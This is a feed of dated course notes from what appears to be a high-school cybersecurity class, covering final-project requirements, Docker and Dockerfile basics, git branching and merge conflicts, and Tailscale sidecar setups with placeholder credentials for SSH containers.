&lt;li&gt;Regarding TryHackMe: You will not easily be able to make a target machine, as creating a VM is not part of the class.&lt;/li&gt;
&lt;h4&gt;Examples:&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;Enigma Machine visualization&lt;/li&gt;
&lt;li&gt;Image stegonography tool to create hidden messages that are viewable in stegsolve&lt;/li&gt;
&lt;li&gt;Cryptography TryHackMe room (without a VM)&lt;/li&gt;
&lt;li&gt;Audio stegonography with Audacity to show the results.&lt;/li&gt;
&lt;li&gt;Cryptography Algorithm + encoder/decoder. (homework would involve understanding what the algorithm does and using a tool)&lt;/li&gt;
&lt;li&gt;Some custom tool for finding exploits/ automatic scanning / analyzing properties of a target.&lt;/li&gt;
&lt;li&gt;Using existing tools, but you would have to create a challenge to use with them.&lt;/li&gt;
&lt;li&gt;Language interpretor for an esoteric language, or code Obfuscation and Deobfuscation&lt;/li&gt;
&lt;li&gt;A cool but patched vulnerability like "Shellshock", which may require demoing an old and vulnerable binary.&lt;/li&gt;
&lt;li&gt;Not limited to this, you can research any topic that we touched upon.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;Note:&lt;/h4&gt;
&lt;p&gt;Different groups that work on the same topics SHOULD coordinate what is being presented so as to compliment eachother's presentations.&lt;/p&gt;
&lt;h3&gt;After Final Project is due:&lt;/h3&gt;
&lt;p&gt;Once the final project deadline hits, your repos will be locked. I will then check your shared video links to ensure your video is provided.&lt;/p&gt;
&lt;p&gt;We will watch the video presentations in class, and have a peer rating system (for fun, not grades. Like "most technically impressive" or some other categories). &lt;/p&gt;
&lt;p&gt;Rather than have groups give work at home, I will be assigning new tryHackme rooms for learning and for challenges.&lt;/p&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-05-09n"/><published>2026-05-04T12:00:00+00:00</published></entry><entry><id>2026-05-09n</id><title> 2026-05-05 </title><updated>2026-05-05T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-05-09n"&gt;
&lt;h5&gt; 2026-05-05 &lt;/h5&gt;
&lt;p&gt;A &lt;strong&gt;kernel&lt;/strong&gt; is the core, foundational component of an operating system (OS) that acts as the main interface between computer software and hardware&lt;/p&gt;
&lt;h3&gt;Docker&lt;/h3&gt;
&lt;p&gt;Docker is a platform that enables developers to build, test,
      and deploy applications quickly by packaging them into standardized,
      units called containers&lt;/p&gt;
&lt;p&gt;Containers are lightweight, unlike Virtual Machines (VM) which require a complete system install, a container shares the host kernel.&lt;/p&gt;
&lt;p&gt;The computer that runs the containers is called the host.&lt;/p&gt;
&lt;p&gt;Containers can be preconfigured then deployed anywhere. There is cross platform portability.&lt;/p&gt;
&lt;p&gt;Containers are isolated from the rest of the system, so vulnerabilities are not going to affect the neighboring containers or the host system.&lt;/p&gt;
&lt;p&gt;Containers are lightweight (MBs), boot in seconds, and are ideal for microservices and portability. &lt;/p&gt;
&lt;p&gt;VM are heavier (GBs), boot slower, but provide better security isolation and run different OS &lt;/p&gt;
&lt;h3&gt;Docker vs other alternatives:&lt;/h3&gt;
&lt;p&gt;A popular alternative to docker is Podman&lt;/p&gt;
&lt;p&gt;The primary difference between Docker and Podman is their architecture: &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Docker uses a centralized background service (daemon) to manage containers.&lt;/li&gt;
&lt;li&gt;Podman is daemonless, running each container as an independent process.&lt;/li&gt;
&lt;li&gt;Podman is rootless by design, while docker requires root.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Examples of useful containers:&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;game server&lt;/li&gt;
&lt;li&gt;Web server&lt;/li&gt;
&lt;li&gt;Databases Sql/Postgres/etc&lt;/li&gt;
&lt;li&gt;media server (plex, jellyfin, etc.)&lt;/li&gt;
&lt;li&gt;Pi-hole (web proxy that blocks ads)&lt;/li&gt;
&lt;li&gt;full kali distribution on your non-kali linux machine or mac. (windows should use wsl for extra features)&lt;/li&gt;
&lt;li&gt;Local AI processing* (Ollama, LocalAI, etc.) - keep your llm data away from companies!&lt;/li&gt;
&lt;li&gt;Gitea (self hosted git server)&lt;/li&gt;
&lt;li&gt;Replacement for your dependency on google tools:  (libreoffice) / Drive (filecloud) / Etc.&lt;/li&gt;
&lt;li&gt;Bitwarden private server (danger if you aren't careful)&lt;/li&gt;
&lt;li&gt;web browser in a container. (then you connect via a remote desktop)&lt;/li&gt;
&lt;li&gt;tool to convert questionable pdf's into safe ones&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;* AI workloads are not viable on potato computers. You will need faster workstations to do small AI tasks, and even expensive hardware won't compete with cloud tools.&lt;/p&gt;
&lt;h3&gt;TryHackMe Docker intro&lt;/h3&gt;
&lt;p&gt;There is a Docker intro room, please complete it by tomorrow.&lt;/p&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-05-09n"/><published>2026-05-05T12:00:00+00:00</published></entry><entry><id>2026-05-09n</id><title> 2026-05-05 </title><updated>2026-05-05T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-05-09n"&gt;
&lt;h5&gt; 2026-05-05 &lt;/h5&gt;
&lt;h3&gt;Free digital ocean credits:&lt;/h3&gt;
&lt;p&gt;&lt;a href="https://www.digitalocean.com/github-students"&gt;https://www.digitalocean.com/github-students&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;Creating a cloud machine (droplet on digital ocean)&lt;/h3&gt;
&lt;p&gt;I will use ubuntu 24.04 &lt;/p&gt;
&lt;p&gt;You do NOT need to make a large/fast droplet. Use the cheapest one for $5 credits/month.&lt;/p&gt;
&lt;h3&gt;Setting up docker on DO droplets&lt;/h3&gt;
&lt;p&gt;This is one way to do it:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;sudo apt install docker.io docker-buildx&lt;/code&gt; &lt;/pre&gt;
&lt;h3&gt;Base images&lt;/h3&gt;
&lt;p&gt;Alpine is a minimal set of shell tools, while scratch is a zero-overhead base.&lt;/p&gt;
&lt;h3&gt;Creating a custom docker image:&lt;/h3&gt;
&lt;p&gt;Lets make a simple custom machine. &lt;/p&gt;
&lt;p&gt;Create a directory and place a script and dockerfile in it.&lt;/p&gt;
&lt;p&gt;Script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;#!/bin/sh
echo "Hello, the script is running automatically!"&lt;/code&gt; &lt;/pre&gt;
&lt;p&gt;Lets see a simple dockerfile&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# Use Alpine Linux as the small, lightweight base operating system
FROM alpine

# Set the default folder inside the container where commands will run
WORKDIR /app

# Copy the script from your computer into the container's /app folder
COPY myscript.sh .

# Grant execute permissions to the script so it can actually run
RUN chmod +x myscript.sh

# Create a new user named 'scriptuser' without a password for better security
RUN adduser -D scriptuser

# Switch from the 'root' (admin) user to 'scriptuser' for all following actions
USER scriptuser

# Tells Docker exactly which file to execute when the container starts up;
# using brackets [] ensures the script receives system signals (like "stop") correctly.
ENTRYPOINT ["./myscript.sh"]&lt;/code&gt; &lt;/pre&gt;
&lt;p&gt;You can then build a container image using &lt;code&gt;docker build -t my-image .&lt;/code&gt; &lt;/p&gt;
&lt;h2&gt;Activity + Demo&lt;/h2&gt;
&lt;p&gt;Do this on your own digital ocean droplet tonight. I will demo how to do it in class.&lt;/p&gt;
&lt;p&gt;If you forgot how to mount a volume or forward a port, please review your intro docker THM room notes.&lt;/p&gt;
&lt;h3&gt;Task 1&lt;/h3&gt;
&lt;p&gt;Run a server on your container.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Make your script run a nc server.&lt;/li&gt;
&lt;li&gt;Make your docker run command bind an external port to your internal port&lt;/li&gt;
&lt;li&gt;Connect your local nc to your droplet_ip:port and see if it connects.&lt;/li&gt;
&lt;li&gt;TAKE DOWN your droplet.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;create a new user&lt;/h3&gt;
&lt;p&gt;We don't want things to be run as root or make things too permissable, so we should create a user.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;adduser dockeruser
usermod -aG docker dockeruser
su - dockeruser
newgrp docker
&lt;/code&gt; &lt;/pre&gt;
&lt;p&gt;We are using some shenanigans with the first user being id 1000, and that is the default for docker... but that is okay for a test box.&lt;/p&gt;
&lt;h3&gt;Task 2&lt;/h3&gt;
&lt;p&gt;Mount a local directory on your container&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;make a ./data folder in your droplet. use pwd to see the full path afterwards.&lt;/li&gt;
&lt;li&gt;when you run your container, mount a volume if your directory is /root/container/data mount it to /app/data/&lt;/li&gt;
&lt;li&gt;Make your script write to a text file in your /app/data/ directory.&lt;/li&gt;
&lt;li&gt;If this works, your data folder now has a file inside of it!&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Task 3&lt;/h3&gt;
&lt;p&gt;Web server?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;for simplicity (don't do this for deployment) comment out the user for the file creation.&lt;/li&gt;
&lt;li&gt;Now try changing your entrypoint: &lt;code&gt;ENTRYPOINT ["python3", "-m", "http.server", "80", "--directory", "/app/data"]&lt;/code&gt; &lt;/li&gt;
&lt;li&gt;Map 80:80 when you run your container.&lt;/li&gt;
&lt;li&gt;Since your container is root, you can use port 80 on the inside.&lt;/li&gt;
&lt;/ul&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-05-09n"/><published>2026-05-05T12:00:00+00:00</published></entry><entry><id>2026-05-06n</id><title> 2026-05-06 </title><updated>2026-05-06T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-05-06n"&gt;
&lt;h5&gt; 2026-05-06 &lt;/h5&gt;
&lt;h3&gt;Update:&lt;/h3&gt;
&lt;p&gt;Since everyone has learned docker, you can in fact create a box to attack. This is not meant to be deployed on tryhackme, but you can include a vulnerable docker container that you can let someone try to hack into. This expands the possible things you can do in a final project including providing a containerized vulnerability, or complicated challenge.&lt;/p&gt;
&lt;h3&gt;Final Project Grade breakdown&lt;/h3&gt;
&lt;p&gt;40% - (Project) The stuff you made (Lesson/Algorithms/tools/demos, etc.) &lt;/p&gt;
&lt;p&gt;20% - (Presentation) Video Presentation +  PRESENTATION.md. The video Should be 11-14 minutes,
    all group members must contribute. You should not show/edit code unless your project has to do with creating/modifying code.
    You are expected to screen share and switch between presentation of slides/info, and your actual program. &lt;/p&gt;
&lt;p&gt;40% - (Commits + Documentation) README , DEVLOG (updated daily), regular commits, appropriate
    commit messages, working over the entire duration of the project, not procrastinating, and
          with both members contributing sufficiently.&lt;/p&gt;
&lt;h3&gt;Next steps&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;With your partner(s) (groups of 2-3) by Friday have three proposals typed/printed. There should be a few options including the intent and scope of what you plan to make. &lt;/li&gt;
&lt;li&gt;Work with your partner on branching/merging in a dummy-repo. It is assumed you know how to do this BEFORE your project starts.&lt;/li&gt;
&lt;li&gt;More details will be provided about the formatting when you get your repositories.&lt;/li&gt;
&lt;/ol&gt;
&lt;h1&gt;You need to branch&lt;/h1&gt;
&lt;p&gt;Your main branch will be working code only. To do this you must learn branching. Learn this early so your workflow with your partner is good.&lt;/p&gt;
&lt;p&gt;Working solo or in a group , you MUST use branches.&lt;/p&gt;
&lt;h3&gt;1. Git Branching&lt;/h3&gt;
&lt;p&gt;Branches on github are just separate copies of your code that you work on so that there are clear sections of feature development and so that other people's commits do not interfere with yours.&lt;/p&gt;
&lt;p&gt;Make one branch per group member when working on your code. Merge your branch into main when you get to a finished feature/bugfix.&lt;/p&gt;
&lt;p&gt;You will mostly work in your branch. If there are small changes or bugfixes, they can be done on the main, but this is discouraged.&lt;/p&gt;
&lt;p&gt;Do not delete your branches. (The tutorial shows you how to do this.)&lt;/p&gt;
&lt;h3 id="MERGE"&gt;2. Merging&lt;/h3&gt;
&lt;p&gt;After you branch, you will edit commit and push changes as normal. After you are happy with the state of your branch you need to merge the branch into your main branch.&lt;/p&gt;
&lt;p&gt; &lt;strong&gt;Note:&lt;/strong&gt; main and master are not interchangeable. You will sometimes see  "git checkout main" and "git checkout master" and they are used the same way. Master branch was the old style naming, main branch is the current style. &lt;/p&gt;
&lt;p&gt;Your repo is probably main, but could be master if you did something wonky.&lt;/p&gt;
&lt;p&gt;You should merge using the --no-ff flag: &lt;/p&gt;
&lt;pre&gt;
    &lt;code&gt;
  git checkout main
  git merge --no-ff BRANCH_NAME
    &lt;/code&gt;
  &lt;/pre&gt;
&lt;h3&gt;3. Merge conflict&lt;/h3&gt;
&lt;p&gt;If you do everything right you will still get merge conflicts. This is normal when working with more than one person.&lt;/p&gt;
&lt;p&gt;Example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
  $ git merge branch_to_create_merge_conflict
  Auto-merging README.md
  CONFLICT (content): Merge conflict in README.md
  Automatic merge failed; fix conflicts and then commit the result.

  &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, go into the README file, as Git asks, to see what it looks like:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

  This is a new README file
  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; HEAD
  This is an edit on the master branch
  ======
  This is an edit on the branch
  &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; branch_to_create_merge_conflict

  &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; HEAD
  This is an edit on the master branch
  ======
  This is an edit on the branch
  &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt; branch_to_create_merge_conflict


  &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As you can see, Git added some syntax including seven "less than"
    characters, &amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt;&amp;lt; and seven "greater than" characters, &amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;&amp;gt;, separated by seven equal signs, =======. These can be searched using your editor to quickly find where edits need to be made.&lt;/p&gt;
&lt;p&gt;That there are two sections within this block:&lt;/p&gt;
&lt;p&gt;The "less than" characters denote the current branch's edits (in this case, "HEAD," which is another word for your current branch), and the equal signs denote the end of the first section.&lt;/p&gt;
&lt;p&gt;The second section is where the edits are from the attempted merge; it starts with the equal signs and ends with the "greater than" signs.&lt;/p&gt;
&lt;p&gt;As a developer, you decide what stays and what goes.&lt;/p&gt;
&lt;p&gt; &lt;strong&gt;READ carefully&lt;/strong&gt; the edit COULD be either branch, or a combination of the two depending what the code is doing:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
    This is a new README file
    This is an edit on the branch
  &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Make your edits as necessary, then save the file.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
  $ git status
  On branch master
  You have unmerged paths.
  (fix conflicts and run "git commit")
  (use "git merge --abort" to abort the merge)

  Unmerged paths:
  (use "git add ..." to mark resolution)
  both modified: README.md
  no changes added to commit (use "git add" and/or "git commit -a")
  &lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Follow the directions to add the file and then commit:&lt;/p&gt;
&lt;pre&gt; &lt;code&gt;
  $ git add README.md
  $ git status
  On branch master
  All conflicts fixed but you are still merging.
  (use "git commit" to conclude merge)

  Changes to be committed:
  modified: README.md

  $ git commit
  [master 9937ca4] Merge branch 'branch_to_create_merge_conflict'
  &lt;/code&gt; &lt;/pre&gt;
&lt;h3&gt;4. Tutorials:&lt;/h3&gt;
&lt;p&gt; You can check out 2 examples on branching and merging:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;a href="https://www.w3schools.com/git/git_branch.asp?remote=github"&gt;Branching&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.w3schools.com/git/git_branch_merge.asp?remote=github"&gt;Merging&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Finally here is a cool interactive tutorial: (first three steps are what you need) &lt;a href="https://learngitbranching.js.org/"&gt;https://learngitbranching.js.org/&lt;/a&gt; &lt;/p&gt;
&lt;h3&gt;URGENT: Read the notes above the tutorials again after you try the tutorials!&lt;/h3&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-05-06n"/><published>2026-05-06T12:00:00+00:00</published></entry><entry><id>2026-05-20n</id><title> 2026-05-20 </title><updated>2026-05-20T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-05-20n"&gt;
&lt;h5&gt; 2026-05-20 &lt;/h5&gt;
&lt;h2&gt;Guidelines:&lt;/h2&gt;
&lt;h3&gt;Commits&lt;/h3&gt;
&lt;p&gt;Please make sure you commit your work every day.
      When writing code, commit much more frequently. You have mandated class time, AND homework time to work on this daily.
      Your efforts should reflect this. Weekends you have flex time I do not care when you work as long as you do.&lt;/p&gt;
&lt;h3&gt;Contents&lt;/h3&gt;
&lt;p&gt;To make things easier for all parties involved, here are some more clear documentation requrements.&lt;/p&gt;
&lt;p&gt;Your repository should contain the following. &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;README.md&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;This is your landing page for the rep with your project description.&lt;/li&gt;
&lt;li&gt;Directions on how to use/access all parts of the project (including compilation steps + library installation)&lt;/li&gt;
&lt;li&gt;Link to the PRESENTATION VIDEO + PRESENTATION.md files.&lt;/li&gt;
&lt;li&gt;A complete list of references and resoures you used.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;PROPOSAL.md&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;Expand on your accepted proposal and include some information about your specific goals.&lt;/li&gt;
&lt;li&gt;There is a stub file you can fill in the details. The purpose of this is to let me know precisely what you plan on producing: programs, lessons, challenge, etc.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DEVLOG-YOUR_NAME.md&lt;/strong&gt;
&lt;ol&gt;
&lt;li&gt;A per person daily log of what you did at home + in class.&lt;/li&gt;
&lt;li&gt;You must update this daily to reflect what you did.
          DO NOT keep a separate log and copy it over at the end.&lt;/li&gt;
&lt;li&gt;You may edit this on the main branch.&lt;/li&gt;
&lt;/ol&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PRESENTATION.md&lt;/strong&gt; : Create your presentation/lesson "slides". This should include all of the info from your presentation. You SHOULD NOT just read the slides, but the slides should contain enough information such that if you didn't watch the video, you would learn most of it. &lt;/li&gt;
&lt;li&gt;DO NOT make a powerpoint or other slide deck like thing,
      it is flashy at the expense of content.&lt;/li&gt;
&lt;li&gt; &lt;strong&gt;subdirectories&lt;/strong&gt; : Place any code/scripts that you write in
      appropriate sub directories.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;strong&gt;Note:&lt;/strong&gt; You must use appropriate git markdown for formatting of your md files.
      Headers, links, code snippet highlights, etc.
    &lt;/p&gt;
&lt;h3&gt;Video Presentation&lt;/h3&gt;
&lt;p&gt;There are many benefits to a video rather than live presentation. We won't have to worry about absent group memebers, or total presentation technical failure!&lt;/p&gt;
&lt;p&gt;This should be 11-14 minutes long, and should include all members of the group in addition to some screen share of what you made + your presentation.md.&lt;/p&gt;
&lt;p&gt;You will upload the video to google drive, and provide a link in your repo's documentaion. &lt;strong&gt;Make sure&lt;/strong&gt; that you share with my stuy.edu and schools.nyc email. (You might have to upload to your stuy.edu drive to share to both.) &lt;/p&gt;
&lt;p&gt;One suggested way to create this video is to record a zoom meeting, this way you can share screen and have all presenter's faces/voices/etc.&lt;/p&gt;
&lt;h3&gt;Final Project Repos&lt;/h3&gt;
&lt;p&gt;Group Names: &lt;code&gt;XY-LastName-FirstName-LastName-FirstName&lt;/code&gt; &lt;/p&gt;
&lt;p&gt;e.g.  &lt;code&gt;09-Kim-Yoosung-Rivia-Geralt&lt;/code&gt; &lt;/p&gt;
&lt;a href="https://classroom.github.com/a/B2vtqcJe"&gt;https://classroom.github.com/a/B2vtqcJe&lt;/a&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-05-20n"/><published>2026-05-20T12:00:00+00:00</published></entry><entry><id>2026-06-01n</id><title> 2026-06-01 </title><updated>2026-06-01T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-06-01n"&gt;
&lt;h5&gt; 2026-06-01 &lt;/h5&gt;
&lt;h1&gt;Tailscale&lt;/h1&gt;
&lt;h2&gt;Requirements:&lt;/h2&gt;
&lt;p&gt;You will need a &lt;strong&gt;(digital ocean)&lt;/strong&gt;  machine you have root access in order to deploy docker containers to replicate the demo. If you didn't get that sorted out, you had over a month. Get sorted!&lt;/p&gt;
&lt;h2&gt;You want to run services?&lt;/h2&gt;
&lt;p&gt;Mind your security.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Every open port is an entry point that scanners (Shodan, etc.) will find within minutes of exposure&lt;/li&gt;
&lt;li&gt;Unpatched software vulnerabilities can be exploited automatically by bots&lt;/li&gt;
&lt;li&gt;APIs and admin panels exposed publicly are constantly probed for default credentials&lt;/li&gt;
&lt;li&gt;Brute-force and credential stuffing attacks run 24/7 against any login page&lt;/li&gt;
&lt;li&gt;Many self-hosted apps have weak or optional authentication by default&lt;/li&gt;
&lt;li&gt;A single compromised credential can expose everything behind it&lt;/li&gt;
&lt;li&gt;Dependencies (libraries, base images) introduce vulnerabilities outside your control&lt;/li&gt;
&lt;li&gt;Misconfigurations (open registries, world-readable storage, debug modes left on) are extremely common&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;How can you access your services securely?&lt;/h2&gt;
&lt;p&gt;Generally running a vpn is a good way to get around exposing your applications to the internet.&lt;/p&gt;
&lt;p&gt;However a vpn is also a publicly accessible server! This is another service to worry about that must be patched and maintained to avoid being compromised.&lt;/p&gt;
&lt;h2&gt;Alternative: just cry... or use a different tool.&lt;/h2&gt;
&lt;p&gt; &lt;strong&gt;Tailscale&lt;/strong&gt; is a zero-config VPN built on top of WireGuard (a modern, audited, cryptographically strong VPN protocol). &lt;/p&gt;
&lt;p&gt;Rather than replacing WireGuard, Tailscale wraps it with an automated controls that handle all the hard parts: key distribution, NAT traversal, and device authentication.&lt;/p&gt;
&lt;p&gt;&lt;/p&gt;
&lt;h2&gt;Tailscale is proprietary!&lt;/h2&gt;
&lt;p&gt;If you wish to have an open source Drop-in Tailscale Alternative: you can try Headscale. Headscale is an open-source, self-hosted replacement for Tailscale's coordination server&lt;/p&gt;
&lt;h2&gt;My setup:&lt;/h2&gt;
&lt;p&gt;I will ssh onto a private machine and run two containers.&lt;/p&gt;
&lt;p&gt;These containers will run very simple html pages with nginx web server.&lt;/p&gt;
&lt;p&gt;I will make the containers use docker sidecars to connect them to my tailnet.&lt;/p&gt;
&lt;p&gt;I will block all open ports on one of them to show how you can use a tailnet to access your services more easily, or to protect your services from clients not on the tailnet.&lt;/p&gt;
&lt;p&gt;docker-compose.yaml&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  tailscale: #this is a container to go along with the web server.
    image: tailscale/tailscale:latest
    container_name: tailscale
    hostname: test-node
    env_file:
      - .env
    ports:
      - "8081:80"
    volumes:
      - tailscale-state:/var/lib/tailscale
      - /dev/net/tun:/dev/net/tun
    cap_add:
      - NET_ADMIN
      - NET_RAW
    restart: unless-stopped

  web:
    image: nginx:alpine
    container_name: web
    network_mode: "service:tailscale"

    volumes:
      - ./html1:/usr/share/nginx/html
      - ./nginx.conf:/etc/nginx/conf.d/default.conf
    depends_on:
      - tailscale
    restart: unless-stopped
volumes:
  tailscale-state:
&lt;/code&gt; &lt;/pre&gt;
&lt;p&gt;Also need a &lt;code&gt;.env&lt;/code&gt; file &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;TS_AUTHKEY=tskey-auth-????
TS_STATE_DIR=/var/lib/tailscale&lt;/code&gt; &lt;/pre&gt;
&lt;h3&gt;What can tailscale do?&lt;/h3&gt;
&lt;p&gt;lets have a 2nd machine on our tailnet.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:

  # --- Stack 1 ---
  tailscale:
    image: tailscale/tailscale:latest
    container_name: tailscale
    hostname: test-node
    env_file:
      - .env
    ports:
      - "8081:80"
    volumes:
      - tailscale-state:/var/lib/tailscale
      - /dev/net/tun:/dev/net/tun
    cap_add:
      - NET_ADMIN
      - NET_RAW
    restart: unless-stopped

  web:
    image: nginx:alpine
    container_name: web
    network_mode: "service:tailscale"
    volumes:
      - ./html1:/usr/share/nginx/html
      - ./nginx.conf:/etc/nginx/conf.d/default.conf
    depends_on:
      - tailscale
    restart: unless-stopped

  # --- Stack 2 ---
  tailscale2:
    image: tailscale/tailscale:latest
    container_name: tailscale2
    hostname: test-node-2
    env_file:
      - .env
    ports:
      - "8082:80"
    volumes:
      - tailscale2-state:/var/lib/tailscale
      - /dev/net/tun:/dev/net/tun
    cap_add:
      - NET_ADMIN
      - NET_RAW
    restart: unless-stopped

  web2:
    image: nginx:alpine
    container_name: web2
    network_mode: "service:tailscale2"
    volumes:
      - ./html2:/usr/share/nginx/html
      - ./nginx.conf:/etc/nginx/conf.d/default.conf
    depends_on:
      - tailscale2
    restart: unless-stopped

volumes:
  tailscale-state:
  tailscale2-state:
&lt;/code&gt; &lt;/pre&gt;
&lt;h2&gt;Alternatives to full access&lt;/h2&gt;
&lt;p&gt;You can grant your tailscale network access to ports:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;ports:
  - "192.168.1.100:8081:80"  # only accept connections from this interface
  - "100.x.x.x:8081:80"     # tailscale interface only&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Goals:&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Set up tailscale on your home device(can be on WSL).&lt;/li&gt;
&lt;li&gt;Set up tailscale on your phone.&lt;/li&gt;
&lt;li&gt;Verify the devices are on your tailscale.com admin page.&lt;/li&gt;
&lt;li&gt;Set up ssh server on your home device. (can be on WSL but must be on the same device as your tailscale device)&lt;/li&gt;
&lt;li&gt;Set up an ssh client on your phone. E.g. &lt;a href="https://termius.com/"&gt;https://termius.com/&lt;/a&gt; &lt;/li&gt;
&lt;li&gt;You can now ssh onto your personal device from your phone without having to worry about port forwarding. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Note:&lt;/strong&gt;  You have to use your data, not the school wifi for this&lt;/li&gt;
&lt;/ol&gt;
&lt;a href="#TOP"&gt;go back to the top of the page&lt;/a&gt;
&lt;/div&gt;</content><link href="https://konstantinnovation.github.io/cyber.html#2026-06-01n"/><published>2026-06-01T12:00:00+00:00</published></entry><entry><id>2026-06-02n</id><title> 2026-06-02</title><updated>2026-06-02T12:00:00+00:00</updated><content type="html">&lt;div class="contentBlock" id="2026-06-02n"&gt;
&lt;h5&gt; 2026-06-02&lt;/h5&gt;
&lt;h1&gt;Goals:&lt;/h1&gt;
&lt;h2&gt;Design a ssh-able docker container.&lt;/h2&gt;
&lt;p&gt;We can use a linuxserver image and put sensitive information in a &lt;code&gt;.env&lt;/code&gt; file as follows.&lt;/p&gt;
&lt;p&gt;docker-compose.yaml&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; the file was changed to: &lt;code&gt;"${HOST_PORT}:2222"&lt;/code&gt; because the ssh server listens on 2222 by default. When I tested this, I had changed the port in some default settings and didn't realize that.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  ssh-workspace:
    image: lscr.io/linuxserver/openssh-server:latest
    container_name: ssh-workspace
    environment:
      - PUID=1000
      - PGID=1000
      - USER_NAME=${SSH_USER}
      - PASSWORD_ACCESS=true
      - USER_PASSWORD=${SSH_PASSWORD} # Pulls from the .env file
      - PACKAGES=curl,wget,git,tmux,vim,htop
    volumes:
      - ssh-config:/config
    ports:
      - "${HOST_PORT}:2222"             # Pulls from the .env file
    restart: unless-stopped

volumes:
  ssh-config:
&lt;/code&gt; &lt;/pre&gt;
&lt;p&gt;And the .env: &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# SSH Account Configuration
SSH_USER=appuser
SSH_PASSWORD=UserPassword123

# System Configuration
HOST_PORT=2222
&lt;/code&gt; &lt;/pre&gt;
&lt;h2&gt;Add a tailscale sidecar to it.&lt;/h2&gt;
&lt;p&gt;You must find a token on your tailscale account. To generate a key to use in your .env file go to Admin-panel -&amp;gt; Settings -&amp;gt; Keys -&amp;gt; Auth keys&lt;/p&gt;
&lt;p&gt;I am not giving you the complete docker-compose but i will give some hints:&lt;/p&gt;
&lt;p&gt;docker-compose.yaml should have variables in the .env file. The ENV file SHOULD HAVE your tailscale hostname as well!&lt;/p&gt;
&lt;p&gt;And the .env: &lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# SSH Account Configuration
SSH_USER=appuser
SSH_PASSWORD=UserPassword123

# System Configuration
HOST_PORT=2222

# Tailscale Configuration
TAILSCALE_AUTHKEY=tskey-auth-YOUR_ACTUAL_KEY_HERE
TAILSCALE_HOSTNAME=secure-ssh-box
&lt;/code&gt; &lt;/pre&gt;
&lt;h2&gt;Make two of these containers.&lt;/h2&gt;
&lt;p&gt;Duplicate the container and change the hostname/tailscale name. The second container should not open a port!&lt;/p&gt;
&lt;h2&gt;Restrict access.&lt;/h2&gt;
